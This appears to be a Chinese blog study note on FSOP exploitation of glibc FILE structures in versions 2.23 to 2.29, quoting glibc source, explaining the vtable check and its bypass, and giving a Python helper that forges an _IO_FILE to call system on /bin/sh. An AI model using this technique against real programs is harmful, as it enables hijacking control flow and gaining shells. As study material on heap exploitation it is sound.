FSOP
196082 慢慢好起来

文章开头给出_IO_FILE结构体的偏移:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
0x0   _flags
0x8 _IO_read_ptr
0x10 _IO_read_end
0x18 _IO_read_base
0x20 _IO_write_base
0x28 _IO_write_ptr
0x30 _IO_write_end
0x38 _IO_buf_base
0x40 _IO_buf_end
0x48 _IO_save_base
0x50 _IO_backup_base
0x58 _IO_save_end
0x60 _markers
0x68 _chain
0x70 _fileno
0x74 _flags2
0x78 _old_offset
0x80 _cur_column
0x82 _vtable_offset
0x83 _shortbuf
0x88 _lock
0x90 _offset
0x98 _codecvt
0xa0 _wide_data
0xa8 _freeres_list
0xb0 _freeres_buf
0xb8 __pad5
0xc0 _mode
0xc4 _unused2
0xd8 vtable

Glibc2.23下的FSOP

FSOP全称是File Stream Oriented Programming进程中打开的所有文件结构体使用一个单链表来进行管理,即通过_IO_list_all进行管理,在fopen的分析中,我们知道了fopen是通过_IO_link_in函数将新打开的结构体链接进入_IO_list_all的,相关的代码如下:

1
2
3
4
fp->file._flags |= _IO_LINKED;
...
fp->file._chain = (_IO_FILE *) _IO_list_all;
_IO_list_all = fp;

从代码中也可以看出来链表是通过FILE结构体的_chain字段来进行链接的。所以也就形成了链表。

看到链表的操作,应该就大致猜到了FSOP的主要原理了。即通过伪造_IO_list_all中的节点来实现对FILE链表的控制以实现利用目的。通常来说一般是直接利用任意写的漏洞修改_IO_list_all直接指向可控的地址。

具体来说该如何利用呢?glibc中有一个函数_IO_flush_all_lockp,该函数的功能是刷新所有FILE结构体的输出缓冲区,相关源码如下,文件在libio\genops中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;

fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;


fp = fp->_chain;
}
...
}

通过对上面代码的分析我们知道fp->_IO_write_base处保存这输出缓冲区的数据,并且长度为fp->_IO_write_ptr-fp->_IO_write_base,所以上面的if语句实际上就是判断缓冲区是否还有数据,如果有的话就会调用_IO_OVERFLOW去清空缓冲区,其中_IO_OVERFLOW是vtable当中的函数,所以我们若是能够控制_IO_list_all的话就可以控制程序执行流。

而_IO_flush_all_lockp 不需要攻击者手动调用,在一些情况下这个函数会被系统调用:

  1. 当 libc 执行 abort 流程时

  2. 当执行 exit 函数时

  3. 当执行流从 main 函数返回时

利用方式

伪造_IO_FILE结构体,并且利用漏洞使_IO_list_all指向我们伪造的结构体(当然这里我们可以使用任意结构体_chain字段),最终触发_IO_flush_all_lockp,绕过检查实现执行流的劫持。

其中需要绕过的也就是上面的缓冲区,所以只需要

fp->_mode = 0;

fp->_IO_write_ptr = 1;

fp->_IO_write_base=0;

最后把vtable修改为我们的system就好。

Glibc2.24到Glibc2.27下的FSOP

在Glibc2.24下,若是直接同上面的构造方式构造就会出现报错,这是因为在这个版本的Glibc下存在一种保护机制。

vtable check机制分析

在执行_IO_OVERLOW时,会先执行到IO_validate_vtable函数,这是因为_IO_OVERLOW的宏定义发生了改变

1
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
1
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
1
2
3
4
# define _IO_JUMPS_FUNC(THIS) \
(IO_validate_vtable \
(*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
+ (THIS)->_vtable_offset)))

可以看到是在最后调用vtable的函数之前调用了IO_validate_vtable函数。

1
2
3
4
5
6
7
8
9
10
11
12
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

在上述代码当中,__start___libc_IO_vtables指向了第一个vtable的地址_IO_helper_jumps,__stop___libc_IO_vtables指向了最后一个vtable函数_IO_str_chk_jumps的结束地址。上面检验的就是当前的vtable是否在这两个地址之间。因此,简单的覆盖vtable是无法通过检查的。

利用方式

其实在上述的check机制分析当中还存在一个检查外部vtable是否合法,不过存在的问题是我们无法控制flag,因为其是随机产生的。所以,我们使用的利用方式还是内部的vtable,使用到了vtable是_IO_str_jumps。

首先观察其源码当中定义的函数表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

上面是我在Glibc源码当中看到的,下面是我调试出来的:

image-20220223112300491

不过可以看到的是源码中的JUMP_INIT_DUMMY占了16字节。所以_IO_str_finish的偏移量为0x10,而_IO_str_overflow的偏移量为0x18。

再来看_IO_str_finish的源码:

1
2
3
4
5
6
7
8
9
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

可以看到直接使用了fp->_s._free_buffer当作函数地址,参数即为_IO_buf_base。到了这一步,利用方式就很明显了。

下面构造结构体,同样的,我们仍需要绕过之前_IO_flush_all_lokcp函数中的检测,也就是_mode<=0以及_IO_write_ptr>_IO_write_base。然后重点就是vtable的地址我们不能直接的_IO_str_jumps,我们应当写入_IO_str_jumps-8,这里解释一下,因为我们在绕过_IO_flush_all_lokcp的检查后会调用到_IO_OVERFLOW函数,但是我们真正要进入的其实是_IO_str_finish函数,又因为他相对与vtable的偏移量刚好比_IO_OVERFLOW小8个字节,所以减去8即可执行到_IO_str_finish。

接着问题就是(((_IO_strfile *) fp)->_s._free_buffer)函数相对于fp的偏移量是多少,调试结果出来发现偏移量是0xe8,最后在fp->_IO_buf_base的地方写上/bin/sh的地址即可getshell。

这里给出打包的函数:

1
2
3
4
5
6
7
8
9
10
def pack_file(_IO_read_base=0, _IO_write_base=0, _IO_write_ptr=0, _IO_buf_base=0, _mode=0, vtable=0):
IO_FILE = p64(0)*3+p64(_IO_read_base) + \
p64(_IO_write_base)+p64(_IO_write_ptr)+p64(0)+p64(_IO_buf_base)
IO_FILE = IO_FILE.ljust(0xc0, b'\x00')
IO_FILE += p32(_mode)
IO_FILE = IO_FILE.ljust(0xd8, b'\x00')+p64(vtable)
return IO_FILE

file_struct = pack_file(IO_list_all, 0, 1, bin_sh_addr, 0, IO_str_jumps-8)
file_struct += p64(0)+p64(system_addr)

这是我上一篇复现的exp当中的函数,我是根据其他师傅的exp写的,但是这里的_IO_read_base我也没在源码中看到有什么检验,我估计不用加上也行。

Glibc2.29下的FSOP

这应该是最后一个可以用FSOP的版本了,在Glibc2.31也会有这方面的使用,不过都不能直接getshell了。

首先注意的是,我们在上面使用的是_IO_str_finish函数来利用的,但是这里的函数源码发生了改变:

1
2
3
4
5
6
7
8
9
void
_IO_str_finish (FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
free (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

可以看到这里直接替换成了free,所以我们这里是没有利用空间的了。

其他师傅的查找发现在_IO_wfile_jumps这个vtable里依旧存在大量的函数指针,而且当中最好利用的则是_IO_wfile_sync函数,一样的先看一下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
wint_t
_IO_wfile_sync (FILE *fp)
{
ssize_t delta;
wint_t retval = 0;

/* char* ptr = cur_ptr(); */
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if (_IO_do_flush (fp))
return WEOF;
delta = fp->_wide_data->_IO_read_ptr - fp->_wide_data->_IO_read_end;
if (delta != 0)
{
/* We have to find out how many bytes we have to go back in the
external buffer. */
struct _IO_codecvt *cv = fp->_codecvt;
off64_t new_pos;

int clen = (*cv->__codecvt_do_encoding) (cv);

if (clen > 0)
/* It is easy, a fixed number of input bytes are used for each
wide character. */
delta *= clen;
else
{
/* We have to find out the hard way how much to back off.
To do this we determine how much input we needed to
generate the wide characters up to the current reading
position. */
int nread;

fp->_wide_data->_IO_state = fp->_wide_data->_IO_last_state;
nread = (*cv->__codecvt_do_length) (cv, &fp->_wide_data->_IO_state,
fp->_IO_read_base,
fp->_IO_read_end, delta);
fp->_IO_read_ptr = fp->_IO_read_base + nread;
delta = -(fp->_IO_read_end - fp->_IO_read_base - nread);
}

new_pos = _IO_SYSSEEK (fp, delta, 1);
if (new_pos != (off64_t) EOF)
{
fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_read_ptr;
fp->_IO_read_end = fp->_IO_read_ptr;
}
else if (errno == ESPIPE)
; /* Ignore error from unseekable devices. */
else
retval = WEOF;
}
if (retval != WEOF)
fp->_offset = _IO_pos_BAD;
/* FIXME: Cleanup - can this be shared? */
/* setg(base(), ptr, ptr); */
return retval;
}

可以注意到的是这两行代码:

1
2
struct _IO_codecvt *cv = fp->_codecvt;
int clen = (*cv->__codecvt_do_encoding) (cv);

这里又是将fp->_codecvt->__codecvt_do_encoding来做为函数来执行,参数则是fp->_codecvt

再看_IO_codecvt结构体在源码是什么样子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
struct _IO_codecvt
{
void (*__codecvt_destr) (struct _IO_codecvt *);
enum __codecvt_result (*__codecvt_do_out) (struct _IO_codecvt *,
__mbstate_t *,
const wchar_t *,
const wchar_t *,
const wchar_t **, char *,
char *, char **);
enum __codecvt_result (*__codecvt_do_unshift) (struct _IO_codecvt *,
__mbstate_t *, char *,
char *, char **);
enum __codecvt_result (*__codecvt_do_in) (struct _IO_codecvt *,
__mbstate_t *,
const char *, const char *,
const char **, wchar_t *,
wchar_t *, wchar_t **);
int (*__codecvt_do_encoding) (struct _IO_codecvt *);
int (*__codecvt_do_always_noconv) (struct _IO_codecvt *);
int (*__codecvt_do_length) (struct _IO_codecvt *, __mbstate_t *,
const char *, const char *, size_t);
int (*__codecvt_do_max_length) (struct _IO_codecvt *);

_IO_iconv_t __cd_in;
_IO_iconv_t __cd_out;
};

可以看到这里的__codecvt_do_encoding偏移量为4,所以要进行利用只需要满足以下条件:

1
2
3
1.fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
2.fp->_wide_data->_IO_read_ptr - fp->_wide_data->_IO_read_end
3.*(fp->_codecvt+4)=func,参数就是fp->_codecvt

当然,我们这里依旧需要绕过_IO_flush_all_lokcp函数。

后面会在梳理house_of_pig也就是在Glibc2.31下的利用。


参考文章

https://darkeyer.github.io/2020/08/17/FSOP%E5%9C%A8glibc2.29%E4%B8%AD%E7%9A%84%E5%88%A9%E7%94%A8/

https://xz.aliyun.com/t/5579

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量